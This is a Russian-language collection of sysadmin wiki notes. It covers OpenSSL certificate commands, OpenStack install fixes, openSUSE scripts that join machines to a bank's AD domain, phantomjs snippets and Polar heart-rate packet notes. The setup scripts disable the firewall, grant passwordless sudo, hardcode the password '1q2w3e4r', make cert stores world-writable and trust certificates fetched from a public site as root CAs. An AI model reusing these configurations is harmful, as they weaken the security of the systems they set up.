openssl pkcs12 -in yourpfxfile.pfx -nocerts -out privatekey.pem -nodes
openssl pkcs12 -in yourpfxfile.pfx -nokeys -out publiccert.pem -nodes

Конвертация клиентского сертификата из PKCS12 в pem

openssl pkcs12 -in anisimov.ss@sberleasing.ru.p12 -out ca.pem -cacerts -nokeys
openssl pkcs12 -in anisimov.ss@sberleasing.ru.p12 -out client.pem -clcerts -nokeys
openssl pkcs12 -in anisimov.ss@sberleasing.ru.p12 -out key.pem -nocerts

Удалить пароль с ключа

Чтобы сделать приватный ключ доступным без ввода пароля:

openssl rsa -in key.pem -out key_nopasswd.pem

Для ключей SSH можно делать то же самое с помощью ssh-keygen

ssh-keygen -f ~/.ssh/prodci_key_passwd -p

Сгенерить публичный ключ из приватного

openssl rsa -in ~/.ssh/id_rsa -pubout -out ./.ssh/id_rsa.pub

Сгенерить публичный ssh-ключ из приватного

ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub

Проверка сертификата на валидность

openssl verify -verbose -x509_strict -CAfile ./chain.pem ./cert.pem

или если в файле вся цепочка:

openssl verify -verbose -x509_strict -CAfile ./fullchain.pem ./fullchain.pem

Проверка валидности серта на сервере

openssl s_client -connect wiki.autosys.tk:443 -CAfile /etc/ssl/certs

или можно и не указывать путь до CA:

openssl s_client -connect wiki.autosys.tk:443

Проверить даты валидности сертификата:

echo | openssl s_client -servername server.domain.local -connect host.domain.local:443 2>/dev/null | openssl x509 -noout -dates

Проверка даты до которой валиден сертификат

openssl x509 -enddate -noout -in ./cert.crt

Скачать сертификат сервера в файл

openssl s_client -showcerts -connect ya.ru:443 </dev/null > chain.pem

Чтобы получить полную цепочку сертификатов сервера без всяких ненужных текстовых данных (только то что между строками

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE------

делаем так:

openssl s_client -showcerts -connect nexus.rdleas.ru:443  </dev/null 2>/dev/null | awk '/BEGIN/ { i++; } /BEGIN/, /END/ { print }' > clean_chain.pem

Посмотреть сертификаты сервера

Для сервера с SNI (указывая име сервера с помощью -servername):

openssl s_client -showcerts -servername www.example.com -connect www.example.com:443 </dev/null

Без SNI:

openssl s_client -showcerts -connect www.example.com:443 </dev/null

А посмотреть содержимое серта в удобном виде так:

openssl s_client -servername www.example.com -connect www.example.com:443 2>/dev/null | openssl x509 -text

Посмотреть SSL сертификат сервера Postgresql

openssl s_client -starttls postgres -connect server_name.domain.com:6432

Проверить дату валидности сертификата на сервере Postgresql :

echo | openssl s_client -starttls postgres -CAfile  ~/selectel_psql_ca.pem  -connect server_name.domain.com:6432 2>/dev/null | openssl x509 -noout -dates

Проверить соответствие ключа и сертификата

Должны совпадать значения хешей md5:

openssl x509 -noout -modulus -in <filename>.cert.pem | openssl md5
openssl rsa -noout -modulus -in <filename>.key | openssl md5

И для CSR:

openssl req -noout -modulus -in .csr | openssl md5

openstack_on_ubuntu_16.04

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Установка Openstack на Ubuntu 16.04 в настоящий момент доработана не докнца и имеет нюянсы http://docs.openstack.org/mitaka/install-guide-ubuntu/

Репозиторий

если видите

cloud-archive for Mitaka only supported on trusty

это значит, что вместо репозитория mitaka нужно использовать newton:

sudo add-apt-repository cloud-archive:newton

Specified key was too long; max key length is 767 bytes

https://bugs.launchpad.net/openstack-manuals/+bug/1575688 Вместо utf8mb4 нужно во всех файлах /etc/mysql/mariadb.conf.d/* везде использовать utf8:

sudo grep -rl utf8mb4 /etc/mysql/mariadb.conf.d/ | sudo xargs sed -i 's/utf8mb4/utf8/g'

В файле /etc/mysql/conf.d/mysqld_openstack.cnf должно быть:

[client]
default-character-set = utf8

[mysqld]
bind-address = 172.16.3.32
default-storage-engine = innodb
innodb_file_per_table
collation-server = utf8_general_ci
init-connect = 'SET NAMES utf8'
character-set-server = utf8

[mysql]
default-character-set = utf8

В файле /etc/mysql/my.cnf комментируем строки

#!includedir /etc/mysql/conf.d/
#!includedir /etc/mysql/mariadb.conf.d/

иначе при заполнении базы keystone будут сообщения типа:

WARNING oslo_db.sqlalchemy.engines [-] SQL connection failed. 10 attempts left.

После этого дропаем базу keystone, перезапускаем mysql, а потом создаем и заполняем базу keystone:

sudo mysql -u root -p

и выполняем:

DROP DATABASE keystone;
CREATE DATABASE keystone;
GRANT ALL PRIVILEGES ON keystone.* TO 'keystone'@'localhost' IDENTIFIED BY '1q2w3e4r';
GRANT ALL PRIVILEGES ON keystone.* TO 'keystone'@'%' IDENTIFIED BY '1q2w3e4r';
quit

А потом:

sudo su
su -s /bin/sh -c "keystone-manage db_sync" keystone

Apache: Name duplicates previous WSGI daemon definition.

status apache2.service
.....
AH00526: Syntax error on line 5 of /etc/apache2/sites-enabled/wsgi-keystone.conf:
Name duplicates previous WSGI daemon definition.

В этом случае, скорее всего, есть два файла в /etc/apache2/sites-enabled/ в котором присутствует строка:

WSGIDaemonProcess keystone-public

Различия между liberty и mitaka

В файлике /etc/keystone/keystone.conf:
Liberty:

[token]
...
provider = uuid

Mitaka:

[token]
...
provider = fernet

opensuse_setup_script

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME="test"
NEW_DOMAINNAME="sigma.sbrf.ru"
DNS_SERVERS="10.21.7.212 10.21.7.214"
DNS_STATIC_SEARCHLIST="Sigma.sbrf.ru sberbank.ru"

####################################
#### Setting Software Repos
####################################
zypper repos | grep Yes | cut -f3 -d '|' | sed -e "s/ //" | awk '{print "zypper mr -dRK " $1}' | sudo bash
sudo zypper ar -G -c -n "SB-OpenSUSE-oss" -f http://10.23.48.12/opensuse/distribution/leap/42.1/oss/suse sb-opensuse-oss
sudo zypper mr -erk -p 5 SB-OpenSUSE-oss
sudo zypper ar -G -c -n "SB-OpenSUSE-update-oss" -f http://10.23.48.12/opensuse/update/leap/42.1/oss sb-opensuse-update-oss
sudo zypper mr -erk -p 5 SB-OpenSUSE-update-oss
sudo zypper ar -G -c -n "SB-OpenSUSE-packman" -f http://10.23.48.12/opensuse/packman/openSUSE_Leap_42.1 sb-opensuse-packman
sudo zypper mr -erk -p 5 SB-OpenSUSE-packman
sudo zypper ar -G -c -n "SB-OpenSUSE-Sky" http://10.23.48.12/opensuse/tel.red/repos/opensuse/42.1/ sb-opensuse-sky
sudo zypper mr -erk -p 5 SB-OpenSUSE-Sky
sudo zypper ar -G -c -n "SB-OpenSUSE-YandexBrowser-beta" -f http://10.23.48.12/opensuse/repo.yandex.ru/yandex-browser/rpm/beta/x86_64 sb-opensuse-yandexbrowser-beta
sudo zypper mr -erk -p 5  SB-OpenSUSE-YandexBrowser-beta
sudo zypper ar -G -c -n "nVidia Graphics Drivers" http://download.nvidia.com/opensuse/leap/42.1 nVidia-Graphics-Drivers
sudo zypper mr -erk -p 5 nVidia-Graphics-Drivers
sudo zypper ar -G -c -n "AMD/ATI Graphics Drivers" -f http://geeko.ioda.net/mirror/amd-fglrx/openSUSE_Leap_42.1/  AMD-Graphics-Drivers
sudo zypper mr -erk -p 5 AMD-Graphics-Drivers

sudo zypper -n up
sudo zypper -n dup
sudo zypper -n in nano yast2-online-update krb5-client

#sudo zypper -n in xrdp mono-complete


###############################################
### Setup Services
###############################################
sudo systemctl enable xrdp 
sudo systemctl enable xrdp-sesman 
sudo systemctl enable sshd 
sudo systemctl enable ntpd 

#sudo systemctl enable SuSEfirewall2 
#sudo SuSEfirewall2 start  
sudo systemctl disable SuSEfirewall2
sudo systemctl stop SuSEfirewall2

sudo systemctl start sshd
sudo systemctl start xrdp 
sudo systemctl start xrdp-sesman
sudo systemctl start ntpd 

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
sudo hostname $NEW_HOSTNAME
sudo domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname
sudo sed -i '/^127.0.0./D' /etc/hosts
echo "127.0.0.1 `hostname`.`domainname` `hostname` localhost" | sudo tee -a /etc/hosts
echo "127.0.0.2 `hostname`.`domainname` `hostname`" | sudo tee -a /etc/hosts

##############################################
### Setting up NameServers
##############################################
sudo sed -i '/NETCONFIG_DNS_STATIC_SEARCHLIST/D' /etc/sysconfig/network/config 
echo "NETCONFIG_DNS_STATIC_SEARCHLIST=\"$DNS_STATIC_SEARCHLIST\"" | sudo tee -a /etc/sysconfig/network/config
sudo sed -i '/NETCONFIG_DNS_STATIC_SERVERS/D' /etc/sysconfig/network/config
echo "NETCONFIG_DNS_STATIC_SERVERS=\"$DNS_SERVERS\"" | sudo tee -a /etc/sysconfig/network/config
sudo sed -i '/NETCONFIG_DNS_POLICY/D' /etc/sysconfig/network/config
echo "NETCONFIG_DNS_POLICY=\"STATIC NetworkManager\"" | sudo tee -a /etc/sysconfig/network/config

#############################################
#### Setting sudo
#############################################
sudo sed -i 's/Defaults\ targetpw/\#Defaults\ targetpw/g' /etc/sudoers
sudo sed -i 's/^ALL.*ALL=(ALL)\ ALL/\#ALL\ ALL=(ALL)\ ALL/g' /etc/sudoers

sudo cat <<EOF > /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL 
%SIGMA\\Domain\ Users          ALL=(ALL) ALL 
%\\Domain\ Users          ALL=(ALL) ALL
%SIGMA\\Domain\ Admins      ALL=(ALL) NOPASSWD: ALL 
%\\Domain\ Admins      ALL=(ALL) NOPASSWD: ALL
EOF

#########################################
### Setup NTP servers
#########################################
sudo sed -i '/^server/D' /etc/ntp.conf
cat <<EOF | sudo tee -a /etc/ntp.conf 
server cab-vsp-dc00001.sigma.sbrf.ru iburst 
server cab-vsp-dc00002.sigma.sbrf.ru iburst 
server cab-vsp-dc00003.sigma.sbrf.ru iburst 
server cab-vsp-dc00004.sigma.sbrf.ru iburst 
server cab-vsp-dc00005.sigma.sbrf.ru iburst 
server cab-vsp-dc00006.sigma.sbrf.ru iburst 
server cab-vsp-dc00007.sigma.sbrf.ru iburst 
server cab-vsp-dc00008.sigma.sbrf.ru iburst
EOF

########################################
### Join AD Domain
########################################
sudo yast2 samba-client longhelp

opensuse_setup_script_yast

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Запускать так: sudo -E ./script.sh

#! /bin/bash

####################################
#### Variables
####################################
NEW_HOSTNAME="szud-opensuse"
NEW_DOMAINNAME="sigma.sbrf.ru"
DNS_SERVERS="10.21.7.212 10.21.7.214"
DNS_STATIC_SEARCHLIST="$NEW_DOMAINNAME sberbank.ru"
AD_USER="usik-ma"
DOMAIN_CONTROLLERS=$(cat <<EOF
cab-vsp-dc00001.sigma.sbrf.ru
cab-vsp-dc00002.sigma.sbrf.ru
cab-vsp-dc00003.sigma.sbrf.ru
cab-vsp-dc00004.sigma.sbrf.ru
cab-vsp-dc00005.sigma.sbrf.ru
cab-vsp-dc00006.sigma.sbrf.ru
cab-vsp-dc00007.sigma.sbrf.ru
cab-vsp-dc00008.sigma.sbrf.ru
EOF
)
DEFAULT_REALM="${NEW_DOMAINNAME^^}"
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  '1,$ s/\..*//g')
SDDM_THEME="elarun"
CA_CERT_PREFIX="SberBank_Root_CA"

########################################################
### SettingUp Network
########################################################
systemctl disable NetworkManager
systemctl stop NetworkManager
systemctl enable wicked
systemctl start wicked
echo 'Waiting for network...'
sleep 10

##############################################
### Setting up NameServers
##############################################
sed -i "/^NETCONFIG_DNS_STATIC_SEARCHLIST=.*\$/ s/=.*$/=\"$DNS_STATIC_SEARCHLIST\"/" /etc/sysconfig/network/config
sed -i "/^NETCONFIG_DNS_STATIC_SERVERS=.*\$/ s/=.*$/=\"$DNS_SERVERS\"/" /etc/sysconfig/network/config
sed -i "/^NETCONFIG_DNS_POLICY=.*\$/ s/=.*$/=\"auto\"/" /etc/sysconfig/network/config

###############################################
### Setting HOSTNAME, DOMAINNAME
###############################################
hostname $NEW_HOSTNAME
domainname $NEW_DOMAINNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/HOSTNAME
echo $NEW_HOSTNAME.$NEW_DOMAINNAME | sudo tee /etc/hostname
sed -i '/^127./D' /etc/hosts
echo "127.0.0.1 `hostname`.`domainname` `hostname` localhost" | sudo tee -a /etc/hosts
echo "127.0.0.2 `hostname`.`domainname` `hostname`" | sudo tee -a /etc/hosts

########################################
### Reload network settings
########################################
netconfig update -f

####################################
#### Setting Software Repos
####################################
zypper repos | grep Yes | cut -f3 -d '|' | sed -e "s/ //" | awk '{print "zypper mr -dRK " $1}' | sudo bash
zypper ar -G -c -n "SB-OpenSUSE-oss" -f http://10.23.48.12/opensuse/distribution/leap/42.1/oss/suse sb-opensuse-oss
zypper mr -erk -p 5 SB-OpenSUSE-oss
zypper ar -G -c -n "SB-OpenSUSE-update-oss" -f http://10.23.48.12/opensuse/update/leap/42.1/oss sb-opensuse-update-oss
zypper mr -erk -p 5 SB-OpenSUSE-update-oss
zypper ar -G -c -n "SB-OpenSUSE-packman" -f http://10.23.48.12/opensuse/packman/openSUSE_Leap_42.1 sb-opensuse-packman
zypper mr -erk -p 5 SB-OpenSUSE-packman
zypper ar -G -c -n "SB-OpenSUSE-Sky" http://10.23.48.12/opensuse/tel.red/repos/opensuse/42.1/ sb-opensuse-sky
zypper mr -erk -p 5 SB-OpenSUSE-Sky
zypper ar -G -c -n "SB-OpenSUSE-YandexBrowser-beta" -f http://10.23.48.12/opensuse/repo.yandex.ru/yandex-browser/rpm/beta/x86_64 sb-opensuse-yandexbrowser-beta
zypper mr -erk -p 5  SB-OpenSUSE-YandexBrowser-beta
#zypper ar -G -c -n "nVidia Graphics Drivers" http://download.nvidia.com/opensuse/leap/42.1 nVidia-Graphics-Drivers
#zypper mr -erk -p 5 nVidia-Graphics-Drivers
#zypper ar -G -c -n "AMD/ATI Graphics Drivers" -f http://geeko.ioda.net/mirror/amd-fglrx/openSUSE_Leap_42.1/  AMD-Graphics-Drivers
#zypper mr -erk -p 5 AMD-Graphics-Drivers

zypper clean
zypper -n up
zypper -n dup
zypper -n in nano yast2-online-update krb5-client yandex-browser-beta mozilla-nss-tools sky kernel-devel pam_krb5 openssl
zypper -n in --type pattern devel_basis

#sudo zypper -n in xrdp mono-complete

###############################################
### Setup Services
###############################################
systemctl enable xrdp 
systemctl enable xrdp-sesman 
systemctl enable sshd 
systemctl enable ntpd 

#systemctl enable SuSEfirewall2 
#SuSEfirewall2 start  
systemctl disable SuSEfirewall2
systemctl stop SuSEfirewall2

systemctl start sshd
systemctl start xrdp 
systemctl start xrdp-sesman
systemctl start ntpd 

#############################################
#### Setting sudo
#############################################
cat <<EOF > /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ users          ALL=(ALL) ALL 
%domain\ users          ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ admins      ALL=(ALL) NOPASSWD: ALL 
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i "/^Defaults\ targetpw.*\$/ s/^/#/" /etc/sudoers
sed -i "/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/" /etc/sudoers
sed -i "/^ALL.*ALL=(ALL).*\$/ s/^/#/" /etc/sudoers

#########################################
### Setup NTP servers
#########################################
echo "Setting ntp client settings..."
yast2 ntp-client delete server="0.opensuse.pool.ntp.org"
yast2 ntp-client delete server="1.opensuse.pool.ntp.org"
yast2 ntp-client delete server="2.opensuse.pool.ntp.org"
yast2 ntp-client delete server="3.opensuse.pool.ntp.org"

for i in $DOMAIN_CONTROLLERS;
do 
yast2 ntp-client add server="$i iburst"
done

########################################
#### Install Citrix VDA
########################################
#sudo zypper -n in ./XenDesktopVDA-7.12.0.375-1.sle12_1.x86_64.rpm
#/opt/Citrix/VDA/sbin/ctxsetup.sh

#########################################
### Setup Kerberos /etc/krb5.conf
#########################################
LIBDEFAULTS=$(cat <<EOF
[libdefaults]
dns_lookup_kdc = true
dns_lookup_realm = false
default_realm = $DEFAULT_REALM
clockskew = 300
default_ccache_name = FILE:/tmp/krb5cc_%{uid}
EOF
)

REALMS_KDC=$(for i in $DOMAIN_CONTROLLERS; do echo "kdc = $i";done)

REALMS=$(cat <<EOF

[realms]
$DEFAULT_REALM = {
$REALMS_KDC
default_domain = $DEFAULT_REALM
}
EOF
)

DOMAIN_REALM=$(cat <<EOF

[domain_realm]
.$NEW_DOMAINNAME = $DEFAULT_REALM 
$NEW_DOMAINNAME = $DEFAULT_REALM

[appdefaults]                                                         
pam = {                                                               
        ticket_lifetime = 1d
        renew_lifetime = 1d
        forwardable = true
        proxiable = false
        minimum_uid = 1
}
        
EOF
)

echo "$LIBDEFAULTS" > /etc/krb5.conf
echo "$REALMS" >> /etc/krb5.conf
echo "$DOMAIN_REALM" >> /etc/krb5.conf

########################################
#### Configure /etc/samba/smb.conf
########################################
SMB_CONF=$(cat <<EOF
# smb.conf is the main Samba configuration file. You find a full commented
# version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
# samba-doc package is installed.
[global]
        workgroup = $NETBIOS_DOMAIN_NAME
        passdb backend = tdbsam
        printing = cups
        printcap name = cups
        printcap cache time = 750
        cups options = raw
        map to guest = Bad User
        include = /etc/samba/dhcp.conf
        logon path = \\%L\profiles\.msprofile
        logon home = \\%L\%U\.9xprofile
        logon drive = P:
        usershare allow guests = No
        idmap gid = 10000-20000
        idmap uid = 10000-20000
        realm = $DEFAULT_REALM
        security = ADS
        template homedir = /home/%D/%U
        template shell = /bin/bash
        usershare max shares = 100
        winbind offline logon = true
        winbind refresh tickets = true
        kerberos method = secrets and keytab
        winbind use default domain = yes
[homes]
        comment = Home Directories
        valid users = %S, %D%w%S
        browseable = No
        read only = No
        inherit acls = Yes
[profiles]
        comment = Network Profiles Service
        path = %H
        read only = No
        store dos attributes = Yes
        create mask = 0600
        directory mask = 0700
[users]
        comment = All users
        path = /home
        read only = No
        inherit acls = Yes
        veto files = /aquota.user/groups/shares/
[groups]
        comment = All groups
        path = /home/groups
        read only = No
        inherit acls = Yes
[printers]
        comment = All Printers
        path = /var/tmp
        printable = Yes
        create mask = 0600
        browseable = No
[print$]
        comment = Printer Drivers
        path = /var/lib/samba/drivers
        write list = @ntadmin root
        force group = ntadmin
        create mask = 0664
        directory mask = 0775
EOF
)

mv /etc/samba/smb.conf.bak /etc/samba/smb.conf
cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
echo "$SMB_CONF" > /etc/samba/smb.conf

###############################################
#### Configure /etc/security/pam_winbind.conf
###############################################
PAM_WINBIND=$(cat <<EOF
        cached_login = yes
        krb5_auth = yes
        krb5_ccache_type = FILE
EOF
)

mv /etc/security/pam_winbind.conf.bak /etc/security/pam_winbind.conf
cp /etc/security/pam_winbind.conf /etc/security/pam_winbind.conf.bak
while read line
do
        echo $line >> /etc/security/pam_winbind.conf_new
        echo $line | grep -q "\[global\]" 
        [ $? -eq 0 ] && echo "$PAM_WINBIND" >> /etc/security/pam_winbind.conf_new
done < /etc/security/pam_winbind.conf
mv /etc/security/pam_winbind.conf_new /etc/security/pam_winbind.conf

########################################
#### Configure /etc/nsswitch.conf
########################################
sed -i '/^passwd:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^group:.*compat$/ s/$/ winbind/' /etc/nsswitch.conf
sed -i '/^hosts:/ s/:.*$/: files dns/' /etc/nsswitch.conf

##########################################
#### Configure PAM
##########################################
pam-config --add --winbind --mkhomedir 
#--krb5

#################################################
### Disable autologin
#################################################
sed -i "/^DISPLAYMANAGER_AUTOLOGIN=.*\$/ s/=.*$/=\"\"/" /etc/sysconfig/displaymanager

#################################################
#### Set SDDM Theme to allow input Username
#################################################
sed -i "/^Current=.*\$/ s/=.*$/=$SDDM_THEME/" /etc/sddm.conf

########################################
### Add Certificates
###########################################
openssl s_client -showcerts -connect ya.ru:443 </dev/null > chain.pem
csplit -k -f $CA_CERT_PREFIX ./chain.pem '/END CERTIFICATE/+1' {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L 'END CERTIFICATE' '{}' + | xargs -d '\n' rm
for file in "$CA_CERT_PREFIX"* ; do sudo mv "$file" /etc/pki/trust/anchors/"$file".pem ; done
for file in /etc/pki/trust/anchors/"$CA_CERT_PREFIX"* ; do sudo cp "$file" /etc/ssl/certs/ ; done                                                                                              
c_rehash /etc/ssl/certs/                                                                                                                                                                  
c_rehash /etc/pki/trust/anchors/                                                                                                                                                          
update-ca-certificates                                                                                                                                                                    
rm -f ./chain.pem                                                                                                                                                                              
                                                                                                                                                                                               
#######################################################                                                                                                                                        
#### Import CA Certificates into Browsers                                                                                                                                                      
#   http://blog.xelnor.net/firefox-systemcerts/                                                                                                                                                
#######################################################                                                                                                                                        
HOMEDIR=$(getent passwd $SUDO_USER | cut -d: -f6)                                                                                                                                              
zypper -n install mozilla-nss-tools                                                                                                                                                       
rm -Rf $HOMEDIR/.mozilla                                                                                                                                                                  
rm -Rf $HOMEDIR/.pki                                                                                                                                                                      
                                                                                                                                                                                               
########################################################                                                                                                                                       
#### Create and fill cert8.db in Firefox Profile                                                                                                                                               
########################################################                                                                                                                                       
killall firefox                                                                                                                                                                           
sudo -u  $SUDO_USER firefox -CreateProfile default
FirefoxProfileDir=$(find $HOMEDIR'/.mozilla/firefox/' -iname '*.default');
for certificateFile in /etc/pki/trust/anchors/"$CA_CERT_PREFIX"* ;
do
 certutil -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d ${FirefoxProfileDir}
done
chmod -R a+rw $HOMEDIR/.mozilla/firefox/*

################################################################################
#### Import certificates into nssdb for Chromium engine
################################################################################
mkdir --parents $HOMEDIR/.pki/nssdb
echo 1q2w3e4r | sudo tee $HOMEDIR/.pki/nssdb/password-file
certutil -N -f $HOMEDIR/.pki/nssdb/password-file -d $HOMEDIR/.pki/nssdb
for certificateFile in /etc/pki/trust/anchors/"$CA_CERT_PREFIX"* ;
do
 certutil -f $HOMEDIR/.pki/nssdb/password-file -A -n "${certificateFile}" -t "TCu,Cuw,Tuw" -i ${certificateFile} -d sql:$HOMEDIR/.pki/nssdb
done
chmod -R a+rw $HOMEDIR/.pki/nssdb/*

#########################################################
### Copy databases with imported certs to default profile
#########################################################
rm -Rf /etc/skel/.pki/nssdb/*
rm -Rf /etc/skel/.mozilla/firefox/*
mkdir --parents /etc/skel/.pki/nssdb/
cp -Rf $HOMEDIR/.pki/nssdb/* /etc/skel/.pki/nssdb/
mkdir --parents /etc/skel/.mozilla/firefox/
cp -Rf $HOMEDIR/.mozilla/firefox/* /etc/skel/.mozilla/firefox/

#########################################################
### Disable KDEWallet By Default
#########################################################
cat <<EOF > /etc/skel/.config/kwalletrc
[Wallet]
Enabled=false
EOF

mkdir --parents /etc/skel/.kde/share/config/
cp /etc/skel/.config/kwalletrc /etc/skel/.kde/share/config/kwalletrc

############################################################
#### Install Adobe Flash
############################################################
zypper ar -G -c -n "Adobe Software Repository" -f http://linuxdownload.adobe.com/linux/x86_64/ Adobe
zypper -n rm  flash-player-24.0.0.221-1.1.x86_64
zypper mr -dRK sb-opensuse-packman
zypper -n in  adobe-release-x86_64 flash-pl*
zypper mr -eRK sb-opensuse-packman

############################################################
### Enable Autostart apps
############################################################
mkdir --parents /etc/skel/.config/autostart/
cp /usr/share/applications/sky.desktop /etc/skel/.config/autostart/

########################################
### Join AD Domain
########################################
systemctl enable nmb.service
systemctl enable smb.service
systemctl enable winbind.service

service nmb restart
service smb restart
service winbind restart

ping -c 5 $DOMAIN_CONTROLLERS &> /dev/null && net ads join -U $AD_USER || echo "Join AD failed. Ping Domain Controller failed"
service winbind restart && service nmb restart && service smb restart
wbinfo -P
wbinfo -t
wbinfo -n=$computername

Setup VDA

#!/bin/bash
CTX_XDL_SUPPORT_DDC_AS_CNAME=N \
CTX_XDL_DDC_LIST="v-szud-ctxdc-01.sigma.sbrf.ru v-szud-ctxdc-02.sigma.sbrf.ru" \
CTX_XDL_VDA_PORT=80 \
CTX_XDL_REGISTER_SERVICE=Y \
CTX_XDL_ADD_FIREWALL_RULES=Y \
CTX_XDL_AD_INTEGRATION=1 \
CTX_XDL_HDX_3D_PRO=N \
CTX_XDL_VDI_MODE=Y \
CTX_XDL_SITE_NAME='<none>' \
CTX_XDL_LDAP_LIST='<none>' \
CTX_XDL_SEARCH_BASE='<none>' \
CTX_XDL_START_SERVICE=Y \
/opt/Citrix/VDA/sbin/ctxsetup.sh

openvz-error-no-checkpointing-support-unable-to-open-proc-cpt-no-such-file-or-directory

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Если при попытке клонировать контейнер OpenVZ или сделать его дамп вываливается ошибка :

Error: No checkpointing support, unable to open /proc/cpt: No such file or directory

То нужно на хосте OpenVZ просто подгрузить недостающий модуль:

modprobe vzcpt

optimized_kernel

anonymous@undisclosed.example.com (Anonymous) — Mon, 10 Aug 2020 14:17:03 +0000

Оптимизиированные ядра

https://liquorix.net/ - из этого ядра выпилено многое. Docker на нем не работает.

optimize_jpgs_using_cli

anonymous@undisclosed.example.com (Anonymous) — Mon, 29 Jul 2019 18:58:59 +0000

sudo apt-get install jpegoptim

Проверяем, насколько можно сжать файл:

jpegoptim -n file.jpg

Сжимаем один файл без потери качества:

jpegoptim file.jpg

jpegoptim -d ./optimized file.jpg

Сохранить аттрибуты файла (дата/время создания файла) можно, указав опцию -p:

jpegoptim -d ./optimized -p file.jpg

Сжать файл с потерей качества можно, указав опцию -mNN:

jpegoptim -m50 file.jpg

for i in *.jpg; do jpegoptim -d ./compressed -p "$i" ; done

Рекурсивно:

find /home/valusik/Изображения/ -type f -iname *.jpg -exec jpegoptim -p --all-progressive {} +

phantomjs

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Передача адреса строки в виде аргумента

Передача адреса строки в виде аргумента в phantomjs:

var args = require('system').args;
var address = '';
args.forEach(function(arg, i) {

    if(i == 1)
    {
       address = arg;
    }

});

var page = require('webpage').create();    
page.open(address, function () { // <-- use that address variable from above
    page.render('github.png');
    phantom.exit();
});

Получаем отрендеренный HTML

Получаем отрендеренный HTML и сохраняем в файл:

   var page = new WebPage()
    var fs = require('fs');

    page.onLoadFinished = function() {
      console.log("page load finished");
      page.render('export.png');
      fs.write('1.html', page.content, 'w');
      phantom.exit();
    };

    page.open("http://www.google.com", function() {
      page.evaluate(function() {
      });
    });

    page.onLoadFinished = function() {
        console.log("page load finished");
        page.render('export.png');
        fs.write('1.html', page.content, 'w');
    };

Выводим HTML в стандартный поток ввода-вывода

Выводим HTML в стандартный поток ввода-вывода:

 var page = new WebPage()
page.open("http://www.google.com", function() {
      page.evaluate(function() {
      });
    });

    page.onLoadFinished = function() {
      console.log(page.content);
      phantom.exit();
    };

Получаем аргумент и выводим HTML в стандартный поток вывода

Получаем аргумент из командной строки и выводим HTML в стандартный поток вывода:

var system = require('system');
var page = new WebPage();
var args = system.args;

args.forEach(function(arg, i) {
        if(i==1)
        {
        address = arg;
        }
});


page.open(address, function() {
      page.evaluate(function() {
      });
    });
    page.onLoadFinished = function() {
      console.log(page.content);
      phantom.exit();
    };

Запускаем так:

phantomjs ./test.js http://ya.ru

polar-reverse-protocol

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Вот тут описано что такое RR

http://www.physionet.org/tutorials/hrv/#inter-beat-rr-intervals

В двух словах - это интервалы между биениями сердца. В той же статье написано как визуализировать эти данные.
ВОт последовательность RR. Одна единица - это 1/128 секунды.

А вот кусок дампа:

Timer | Flag | Count | … Ticks (counter, flag: data) …
1953 | 0x00 | 1, 2 | 2FDh(765), 0x2: FDh(253) |
969 | 0x01 | 1, 0 | 2D7h(727), 0x2: D7h(215) |
1953 | 0x00 | 1, 1 | 2D6h(726), 0x2: D6h(214) |
2906 | 0x00 | 1, 1 | 2FCh(764), 0x2: FCh(252) |

Мне почему-то кажется, что data - это RR интервалы выраженные в 1/256 долях секунды.
То есть то есть пульс тут должен быть такой - 60 / (253/256) = 60,7 bpm; 60 / (214/256) = 71 bpm;

Вот тут

http://code.google.com/p/mytracks/source/browse/MyTracks/src/com/google/android/apps/mytracks/services/sensors/PolarMessageParser.java

Парсер данных от какого-то bluetooth устройства Polar. Есть подозрение, что структура данных может быть похожа.
Вот что написано в каментах:

/**
 * An implementation of a Sensor MessageParser for Polar Wearlink Bluetooth HRM.
 *
 *  Polar Bluetooth Wearlink packet example;
 *   Hdr Len Chk Seq Status HeartRate RRInterval_16-bits
 *    FE  08  F7  06   F1      48          03 64
 *   where;
 *      Hdr always = 254 (0xFE),
 *      Chk = 255 - Len
 *      Seq range 0 to 15
 *      Status = Upper nibble may be battery voltage
 *               bit 0 is Beat Detection flag.
 *              
 *  Additional packet examples;
 *    FE 08 F7 06 F1 48 03 64          
 *    FE 0A F5 06 F1 48 03 64 03 70
 *    
 * @author John R. Gerthoffer
 */
  /**
   * Applies Polar packet validation rules to buffer.
   *   Polar packets are checked for following;
   *     offset 0 = header byte, 254 (0xFE).
   *     offset 1 = packet length byte, 8, 10, 12, 14.
   *     offset 2 = check byte, 255 - packet length.
   *     offset 3 = sequence byte, range from 0 to 15.
   *    
   * @param buffer an array of bytes to parse
   * @param i buffer offset to beginning of packet.  
   * @return whether buffer has a valid packet at offset i
   */

ВОт лог из скайпа про Polar.

там они примерно одинаковую структуру имеют. Т.е. в виде бинарных данных там я не включал отображение, уже сразу в файлик расшифровыванные части скидывал
Значит,
